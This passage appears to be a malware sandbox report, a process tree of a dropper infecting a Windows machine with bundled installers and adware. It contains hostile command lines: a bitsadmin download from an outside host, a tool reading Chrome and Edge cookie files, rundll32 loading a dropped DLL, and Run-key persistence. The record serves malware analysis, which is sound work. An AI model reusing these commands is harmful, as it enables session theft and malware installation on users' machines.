                                            "C:\Users\Admin\Documents\wo2fMrz_7qjffU_x_shlqyk0.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5924
                                          • C:\Users\Admin\Documents\duZ8PiCmHX783JGssa2_JrDB.exe
                                            "C:\Users\Admin\Documents\duZ8PiCmHX783JGssa2_JrDB.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:3700
                                            • C:\Users\Admin\Documents\duZ8PiCmHX783JGssa2_JrDB.exe
                                              C:\Users\Admin\Documents\duZ8PiCmHX783JGssa2_JrDB.exe
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4692
                                          • C:\Users\Admin\Documents\uhlMvjiM_cFKqG2sa1Chga1X.exe
                                            "C:\Users\Admin\Documents\uhlMvjiM_cFKqG2sa1Chga1X.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3720
                                            • C:\Users\Admin\AppData\Roaming\2533838.exe
                                              "C:\Users\Admin\AppData\Roaming\2533838.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4476
                                              • C:\Windows\system32\WerFault.exe
                                                C:\Windows\system32\WerFault.exe -u -p 4476 -s 2316
                                                5⤵
                                                • Program crash
                                                • Checks processor information in registry
                                                • Enumerates system info in registry
                                                PID:4564
                                            • C:\Users\Admin\AppData\Roaming\4628016.exe
                                              "C:\Users\Admin\AppData\Roaming\4628016.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious behavior: SetClipboardViewer
                                              PID:5076
                                            • C:\Users\Admin\AppData\Roaming\6442635.exe
                                              "C:\Users\Admin\AppData\Roaming\6442635.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2940
                                            • C:\Users\Admin\AppData\Roaming\5413231.exe
                                              "C:\Users\Admin\AppData\Roaming\5413231.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:7036
                                          • C:\Users\Admin\Documents\w_T2ZpoqCL6IAkXoimhlntEt.exe
                                            "C:\Users\Admin\Documents\w_T2ZpoqCL6IAkXoimhlntEt.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:6168
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 6168 -s 240
                                              4⤵
                                              • Program crash
                                              • Checks processor information in registry
                                              • Enumerates system info in registry
                                              PID:2468
                                          • C:\Users\Admin\Documents\NMtYBWQ61pYznbqVoJMOaC6c.exe
                                            "C:\Users\Admin\Documents\NMtYBWQ61pYznbqVoJMOaC6c.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Checks BIOS information in registry
                                            • Checks whether UAC is enabled
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:6504
                                          • C:\Users\Admin\Documents\S47rYlKP5jCrGkLBNX4aJRHK.exe
                                            "C:\Users\Admin\Documents\S47rYlKP5jCrGkLBNX4aJRHK.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:6888
                                            • C:\Users\Admin\AppData\Roaming\5831941.exe
                                              "C:\Users\Admin\AppData\Roaming\5831941.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5288
                                              • C:\Windows\system32\WerFault.exe
                                                C:\Windows\system32\WerFault.exe -u -p 5288 -s 2360
                                                5⤵
                                                • Program crash
                                                • Checks processor information in registry
                                                • Enumerates system info in registry
                                                PID:604
                                            • C:\Users\Admin\AppData\Roaming\7315424.exe
                                              "C:\Users\Admin\AppData\Roaming\7315424.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5972
                                          • C:\Users\Admin\Documents\AzRQxmcTqX_2X8NQkYpru4an.exe
                                            "C:\Users\Admin\Documents\AzRQxmcTqX_2X8NQkYpru4an.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Drops file in Program Files directory
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of SetWindowsHookEx
                                            PID:7060
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                              4⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:7076
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                              4⤵
                                                PID:3392
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                                4⤵
                                                  PID:5048
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                                  4⤵
                                                    PID:6964
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                                    4⤵
                                                      PID:4872
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                                      4⤵
                                                        PID:7384
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjAA03.tmp\tempfile.ps1"
                                                        4⤵
                                                        • Checks for any installed AV software in registry
                                                        PID:1320
                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                        "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
                                                        4⤵
                                                        • Download via BitsAdmin
                                                        PID:1604
                                                    • C:\Users\Admin\Documents\bodlAh1CVSDV9qX9YyeSQ3yC.exe
                                                      "C:\Users\Admin\Documents\bodlAh1CVSDV9qX9YyeSQ3yC.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:6560
                                                      • C:\Users\Admin\AppData\Local\Temp\is-53PGP.tmp\bodlAh1CVSDV9qX9YyeSQ3yC.tmp
                                                        "C:\Users\Admin\AppData\Local\Temp\is-53PGP.tmp\bodlAh1CVSDV9qX9YyeSQ3yC.tmp" /SL5="$302F4,138429,56832,C:\Users\Admin\Documents\bodlAh1CVSDV9qX9YyeSQ3yC.exe"
                                                        4⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:4512
                                                        • C:\Users\Admin\AppData\Local\Temp\is-IRUCF.tmp\Setup.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\is-IRUCF.tmp\Setup.exe" /Verysilent
                                                          5⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Program Files directory
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:3168
                                                          • C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe
                                                            "C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of SetThreadContext
                                                            PID:4912
                                                            • C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe
                                                              "C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"
                                                              7⤵
                                                              • Executes dropped EXE
                                                              PID:5828
                                                          • C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
                                                            "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Enumerates connected drives
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:5856
                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628842403 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
                                                              7⤵
                                                                PID:2900
                                                            • C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe
                                                              "C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              PID:5500
                                                              • C:\Users\Admin\AppData\Roaming\4700446.exe
                                                                "C:\Users\Admin\AppData\Roaming\4700446.exe"
                                                                7⤵
                                                                  PID:6860
                                                                  • C:\Windows\system32\WerFault.exe
                                                                    C:\Windows\system32\WerFault.exe -u -p 6860 -s 2316
                                                                    8⤵
                                                                    • Program crash
                                                                    • Checks processor information in registry
                                                                    • Enumerates system info in registry
                                                                    PID:2712
                                                                • C:\Users\Admin\AppData\Roaming\4395099.exe
                                                                  "C:\Users\Admin\AppData\Roaming\4395099.exe"
                                                                  7⤵
                                                                  • Suspicious behavior: SetClipboardViewer
                                                                  PID:4380
                                                                • C:\Users\Admin\AppData\Roaming\3671042.exe
                                                                  "C:\Users\Admin\AppData\Roaming\3671042.exe"
                                                                  7⤵
                                                                    PID:7264
                                                                  • C:\Users\Admin\AppData\Roaming\3392110.exe
                                                                    "C:\Users\Admin\AppData\Roaming\3392110.exe"
                                                                    7⤵
                                                                      PID:7364
                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:5736
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-FS7V9.tmp\MediaBurner2.tmp
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-FS7V9.tmp\MediaBurner2.tmp" /SL5="$5027E,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                      7⤵
                                                                      • Loads dropped DLL
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:2544
                                                                      • C:\Users\Admin\AppData\Local\Temp\is-0TMRN.tmp\3377047_logo_media.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\is-0TMRN.tmp\3377047_logo_media.exe" /S /UID=burnerch2
                                                                        8⤵
                                                                        • Drops file in Drivers directory
                                                                        • Adds Run key to start application
                                                                        PID:7532
                                                                        • C:\Program Files\Windows Defender Advanced Threat Protection\DGBZBAPNLG\ultramediaburner.exe
                                                                          "C:\Program Files\Windows Defender Advanced Threat Protection\DGBZBAPNLG\ultramediaburner.exe" /VERYSILENT
                                                                          9⤵
                                                                          • Suspicious use of SetWindowsHookEx
                                                                          PID:5848
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-Q1059.tmp\ultramediaburner.tmp
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-Q1059.tmp\ultramediaburner.tmp" /SL5="$60238,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\DGBZBAPNLG\ultramediaburner.exe" /VERYSILENT
                                                                            10⤵
                                                                            • Drops file in Program Files directory
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:4496
                                                                            • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                              "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                              11⤵
                                                                                PID:7784
                                                                          • C:\Users\Admin\AppData\Local\Temp\b3-8f0fb-3eb-8fa9e-314a76ea6bf4b\Fabalihaewae.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\b3-8f0fb-3eb-8fa9e-314a76ea6bf4b\Fabalihaewae.exe"
                                                                            9⤵
                                                                              PID:7800
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                10⤵
                                                                                  PID:1844
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffef2fe46f8,0x7ffef2fe4708,0x7ffef2fe4718
                                                                                    11⤵
                                                                                      PID:6624
                                                                                • C:\Users\Admin\AppData\Local\Temp\ff-96bb9-3e7-b499f-40142d62e281b\Siwupadyke.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\ff-96bb9-3e7-b499f-40142d62e281b\Siwupadyke.exe"
                                                                                  9⤵
                                                                                    PID:2016
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mprtfa2a.o1p\installer.exe /qn CAMPAIGN="654" & exit
                                                                                      10⤵
                                                                                        PID:5776
                                                                                        • C:\Users\Admin\AppData\Local\Temp\mprtfa2a.o1p\installer.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\mprtfa2a.o1p\installer.exe /qn CAMPAIGN="654"
                                                                                          11⤵
                                                                                          • Loads dropped DLL
                                                                                          • Enumerates connected drives
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          PID:6488
                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                            "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\mprtfa2a.o1p\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\mprtfa2a.o1p\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628842403 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                            12⤵
                                                                                              PID:1948
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3immuzez.rfg\ufgaa.exe & exit
                                                                                          10⤵
                                                                                            PID:7484
                                                                                            • C:\Users\Admin\AppData\Local\Temp\3immuzez.rfg\ufgaa.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\3immuzez.rfg\ufgaa.exe
                                                                                              11⤵
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:5896
                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                12⤵
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:6456
                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                12⤵
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:3936
                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                12⤵
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:5376
                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                12⤵
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:1564
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wpnfrhmz.thj\anyname.exe & exit
                                                                                            10⤵
                                                                                              PID:428
                                                                                              • C:\Users\Admin\AppData\Local\Temp\wpnfrhmz.thj\anyname.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\wpnfrhmz.thj\anyname.exe
                                                                                                11⤵
                                                                                                • Checks processor information in registry
                                                                                                • Enumerates system info in registry
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:7132
                                                                                                • C:\Users\Admin\AppData\Local\Temp\wpnfrhmz.thj\anyname.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\wpnfrhmz.thj\anyname.exe" -q
                                                                                                  12⤵
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:4868
                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
                                                                                      6⤵
                                                                                        PID:6088
                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe"
                                                                                        6⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:5952
                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe" -a
                                                                                          7⤵
                                                                                            PID:3932
                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
                                                                                          6⤵
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:7016
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7016 -s 1916
                                                                                            7⤵
                                                                                            • Program crash
                                                                                            • Checks processor information in registry
                                                                                            • Enumerates system info in registry
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:3932
                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
                                                                                          6⤵
                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                          • Loads dropped DLL
                                                                                          • Enumerates connected drives
                                                                                          • Modifies system certificate store
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          PID:5020
                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                            "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628842403 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
                                                                                            7⤵
                                                                                              PID:1816
                                                                                          • C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe
                                                                                            "C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=715
                                                                                            6⤵
                                                                                            • Loads dropped DLL
                                                                                            • Enumerates connected drives
                                                                                            • Modifies system certificate store
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            PID:6808
                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628842403 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
                                                                                              7⤵
                                                                                                PID:1908
                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:5284
                                                                                  • C:\Windows\ImmersiveControlPanel\SystemSettings.exe
                                                                                    "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
                                                                                    1⤵
                                                                                    • Drops file in Windows directory
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Checks processor information in registry
                                                                                    • Enumerates system info in registry
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4132
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                                                                                    1⤵
                                                                                      PID:4992
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
                                                                                      1⤵
                                                                                        PID:1256
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                                                                                        1⤵
                                                                                          PID:5260
                                                                                        • C:\Windows\System32\oobe\UserOOBEBroker.exe
                                                                                          C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
                                                                                          1⤵
                                                                                          • Drops file in Windows directory
                                                                                          PID:5664
                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
                                                                                          C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
                                                                                          1⤵
                                                                                            PID:5844
                                                                                          • C:\Windows\System32\sihclient.exe
                                                                                            C:\Windows\System32\sihclient.exe /cv sjuMneG/lkSK2C7c/HduvQ.0.2
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5948
                                                                                          • C:\Windows\system32\rUNdlL32.eXe
                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                            1⤵
                                                                                            • Process spawned unexpected child process
                                                                                            PID:6088
                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                              2⤵
                                                                                              • Loads dropped DLL
                                                                                              PID:6140
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 6140 -s 456
                                                                                                3⤵
                                                                                                • Drops file in Windows directory
                                                                                                • Program crash
                                                                                                • Checks processor information in registry
                                                                                                • Enumerates system info in registry
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2228
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6140 -ip 6140
                                                                                            1⤵
                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                            PID:1148
                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                            1⤵
                                                                                              PID:5828
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5968 -ip 5968
                                                                                              1⤵
                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                              PID:2372
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                              1⤵
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:5812
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc
                                                                                              1⤵
                                                                                                PID:1936
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5204 -ip 5204
                                                                                                1⤵
                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                PID:6532
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2344 -ip 2344
                                                                                                1⤵
                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                PID:6672
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5656 -ip 5656
                                                                                                1⤵
                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                PID:7012
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6024 -ip 6024
                                                                                                1⤵
                                                                                                  PID:5020
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1900
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 6168 -ip 6168
                                                                                                  1⤵
                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                  PID:6360
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                  1⤵
                                                                                                    PID:6540
                                                                                                  • C:\Windows\system32\msiexec.exe
                                                                                                    C:\Windows\system32\msiexec.exe /V
                                                                                                    1⤵
                                                                                                    • Enumerates connected drives
                                                                                                    • Drops file in Windows directory
                                                                                                    PID:5884
                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding CC0D0560689C0464AC2F1333386F8457 C
                                                                                                      2⤵
                                                                                                      • Loads dropped DLL
                                                                                                      PID:7840
                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 88184A1AF65B9CD4B97FA8CBBD101EEB C
                                                                                                      2⤵
                                                                                                      • Loads dropped DLL
                                                                                                      PID:7604
                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 010AB1C8B02E56E568CF489DCA6411B9 C
                                                                                                      2⤵
                                                                                                      • Loads dropped DLL
                                                                                                      PID:1968
                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding C89760CD2C45C7F34C86D7321E5173D0
                                                                                                      2⤵
                                                                                                      • Blocklisted process makes network request
                                                                                                      • Loads dropped DLL
                                                                                                      PID:7792
                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 94547F476B845BD25C5A75A63B137EF6 C
                                                                                                      2⤵
                                                                                                      • Loads dropped DLL
                                                                                                      PID:7500
                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                      2⤵
                                                                                                      • Adds Run key to start application
